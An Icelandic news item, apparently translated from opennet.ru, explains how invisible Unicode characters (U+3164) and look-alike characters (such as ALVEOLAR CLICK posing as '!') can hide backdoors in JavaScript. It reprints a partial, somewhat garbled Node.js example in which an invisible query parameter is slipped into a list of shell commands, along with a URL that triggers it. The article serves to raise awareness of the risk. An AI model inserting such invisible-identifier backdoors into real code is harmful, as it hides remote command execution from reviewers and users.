Að nota ósýnilega unicode stafi til að fela aðgerðir í JavaScript kóða

Í kjölfar Trojan Source árásaraðferðarinnar, sem byggir á notkun Unicode stafi sem breyta birtingarröð tvíátta texta, hefur önnur tækni til að kynna faldar aðgerðir verið gefin út, sem á við um JavaScript kóða. Nýja aðferðin byggir á notkun unicode stafsins „ㅤ“ (kóði 0x3164, „HANGUL FILLER“), sem tilheyrir flokki stafa, en hefur ekkert sýnilegt efni. Unicode flokkurinn sem þessi stafur tilheyrir hefur verið leyfður frá ECMAScript 2015 forskriftinni til notkunar í JavaScript breytanöfnum, sem gerir það mögulegt að búa til ósýnilegar breytur eða nýjar breytur sem eru óaðgreinanlegar frá öðrum breytum í vinsælum kóðaritlum eins og Notepad++ og VS Code.

Sem dæmi er kóðinn fyrir Node.js vettvanginn gefinn, þar sem, með því að nota breytu sem samanstendur af einum staf „ㅤ“, er bakdyr falin sem gerir kleift að keyra kóðann sem árásarmaðurinn tilgreinir: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // í raun stendur "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // kommu fylgir stafurinn \u3164 ];

Við fyrstu sýn er aðeins tímamörkin látin fara í gegnum ytri færibreytuna og fylkið með skipunum sem á að framkvæma inniheldur skaðlausan fastan lista. En í raun, eftir timeout breytuna, er gildi annarrar ósýnilegrar breytu með stafakóðann \u3164 úthlutað, sem einnig er skipt út í fjölda keyranlegra skipana. Þannig, ef slík hönnun er tiltæk, getur árásarmaður sent beiðni eins og „https://host:8080/network_health?%E3%85%A4=command“ til að virkja bakdyrnar og keyra kóðann sinn.

Annað dæmi er stafurinn „ǃ“ (ALVEOLAR CLICK), sem hægt er að nota til að gefa útlit til að gefa til kynna upphrópunarmerki. Til dæmis mun orðatiltækið „if(environmentǃ=ENV_PROD){“ þegar hún er keyrð í Node.js 14 alltaf vera sönn, þar sem hún athugar ekki mismun, heldur úthlutar gildi ENV_PROD til breytunnar „environmentǃ“. Aðrir villandi unicode stafir eru "/", "−", "+", "⩵", "❨", "⫽", "꓿" og "∗".

Heimild: opennet.ru

Bæta við athugasemd